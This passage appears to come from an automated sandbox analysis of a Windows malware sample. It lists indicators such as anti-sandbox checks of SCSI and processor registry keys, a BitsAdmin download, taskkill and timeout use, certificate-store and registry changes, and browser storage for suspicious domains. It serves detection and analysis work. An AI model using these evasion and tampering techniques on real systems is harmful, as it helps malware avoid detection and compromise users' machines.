pid pid_target Process procid_target 936 4968 WerFault.exe 138 5592 4612 WerFault.exe 122 6040 4612 WerFault.exe 122 5552 4612 WerFault.exe 122 5648 4612 WerFault.exe 122 4884 4612 WerFault.exe 122 740 4612 WerFault.exe 122 4324 4612 WerFault.exe 122 1356 4612 WerFault.exe 122 4844 4612 WerFault.exe 122 4588 4612 WerFault.exe 122 4352 4752 WerFault.exe 136 6196 4120 WerFault.exe 285 3220 5356 WerFault.exe 328 4376 4712 WerFault.exe 473 6280 4124 WerFault.exe 485 -
Checks SCSI registry key(s) 3 TTPs 33 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 92B1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI swvttjs Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI euvttjs Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI euvttjs Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI swvttjs Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cvvttjs Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI swvttjs Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cvvttjs Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI swvttjs Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI swvttjs Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI chrome.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI WerFault.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 92B1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cvvttjs Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI euvttjs Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cvvttjs Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI euvttjs Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI swvttjs Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI chrome.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI swvttjs Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI swvttjs Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cvvttjs Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cvvttjs Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI euvttjs Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI chrome.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI WerFault.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 92B1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI swvttjs Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI euvttjs -
Checks processor information in registry 2 TTPs 14 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 0_XSTRGW2QmRpZsbH5IoFNSD.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString jMY7GilChxHnK0oIK3nl4cxV.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 238D.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString build2.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString arnatic_1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 238D.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString B08.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 B08.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 build2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 arnatic_1.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 jMY7GilChxHnK0oIK3nl4cxV.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 0_XSTRGW2QmRpZsbH5IoFNSD.exe -
Delays execution with timeout.exe 6 IoCs
pid Process 1680 timeout.exe 5804 timeout.exe 4120 timeout.exe 4252 timeout.exe 5136 timeout.exe 7024 timeout.exe -
Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 4700 bitsadmin.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe -
Kills process with taskkill 8 IoCs
pid Process 1348 taskkill.exe 804 taskkill.exe 3440 taskkill.exe 5968 taskkill.exe 4112 taskkill.exe 3296 taskkill.exe 6108 taskkill.exe 2464 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs 3BA0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople 3BA0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs 345.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust 3BA0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs 345.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 3BA0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates 345.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates 345.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs 345.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs 3BA0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs 3BA0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA 345.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA 345.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" LFczZRTYS1TkaDeFZQXZHZ1n.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\en-US = "en-US.1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\allhugenewz.com\ = "27" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{TV2553ZI-PZ3Y-VP7M-68Y0-MJT9X67Z6U7M} rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S} svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CTLs MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\allhugenewz.com\ = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\propapps.info\NumberOfSubdomai = "1" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$WordPress MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\propapps.info MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{TV2553ZI-PZ3Y-VP7M-68Y0-MJT9X67Z6U7M} rUNdlL32.eXe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\NextBrowserDataLogTime = 607051dec272d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance arnatic_3.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\allhugenewz.com\ = "46" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local 